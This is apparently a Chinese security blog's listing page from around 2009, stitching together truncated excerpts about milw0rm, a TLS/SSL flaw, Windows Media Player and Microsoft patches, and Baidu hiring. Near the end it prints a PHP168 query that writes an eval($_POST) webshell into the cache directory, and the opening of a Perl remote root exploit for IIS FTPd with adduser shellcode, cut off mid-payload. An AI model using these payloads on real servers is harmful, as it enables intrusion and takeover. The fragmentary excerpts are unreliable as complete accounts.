一直有订阅milw0rm的RSS~可最近一个多月网站都没更新~很纳闷是为啥~

看到了下面的新闻

Str0ke @ Milworm's Funeral is This Friday

转自：CB

PhoneFactor公司的两名安全专家Marsh Ray与Steve Dispensa近日公开了他们在TLS/SSL安全协议中发现的安全漏洞。TLS (传输层保密协议Transport Layer Security)以及SSL(Socket层保密协议Secure Sockets Layer)是两个被在线零售商在网络交易过程中广泛使用的安保协议。两位专家本周四在自己的博客上公开了这两个安全协议中的漏洞，Ray今年8月份首次发现了这些漏洞，并于9月初将这些漏洞展示给Dispensa。专家们表示，

*** Windows Media Player Plugin: Local File Detection Vulnerability ***

A design flaw in Windows Media Player 11 allows a remote attacker to determine the \
presence of local files (programs, documents, etc.). I sent an e-mail to Microsoft \
(nearly a year ago) but they never responded…

Windows Media Player permits to open locally stored media-files. Opening \
non-supported files usually provokes an error message. By a simple HTTP-redirect, the \
error mes

今天无意间在几个朋友的BLOG不约而同的看到了网络公司招聘网络安全人员~其中百度公开面对校园应届生招聘安全工程师，没记错去年的这个时候我也投了百度的简历~不过由于本人的专业和安全相差千里，投递的是别的岗位~结果被BS了~面试机会都没给~哎~尴尬

对于这个岗位，个人觉得百度也好，其他公司也好，可以适当放宽硬性指标要求，什么211，什么奖学金，什么四六级~适当的放宽些，尤其对学校~还有适当用网络力量，在各大知名的安全站点做做文章没准就能有什么收获~

毕竟这些人更多的是面对最直接的实践，说实话对于

加班3天 宅5天~生活过得算安逸~

很尴尬啊~上午打开BLOG~昨天更新的文章被和谐了~

看来开心+人人的力量很强大啊~

微软昨天凌晨如期发布了2009年9月份的五个月度安全补丁，全部属于最高级别的关键级，修复了多个秘密报告的安全漏洞，不过最新的Windows 7/Server 2008 R2不受影响。本公告摘要替代 2009 年 9 月 3 日最初发布的公告预先通知。

查看:icrosoft 安全公告摘要（2009 年 9 月）

1、公告编号：MS09-045

知识库编号：

来源：chinesehonker

危险等级：高

影响版本：PHP168 6.0以下版本

入侵者可以在用户登陆页面构造特殊语句，将PHP一句话写入cache目录，从而获得使用PHP168整站程序网站的WEBSHELL权限。

测试语句：
?makehtml=1&chdb[htmlname]=honker.php&chdb[path]=cache&content=?php%20@eval($_POST[honker]);?

# IIS 5.0 FTPd / Remote r00t exploit 
# Win2k SP4 targets 
# bug found & exploited by Kingcope, kcope2<at>googlemail.com 
# Affects IIS6 with stack cookie protection 
# August 2009 - KEEP THIS 0DAY PRIV8 
use IO::Socket; 
$|=1; 
#metasploit shellcode, adduser "winown:nwoniw" 
$sc = "\x89\xe2\xda\xde\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" . 
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" . 
"\x5a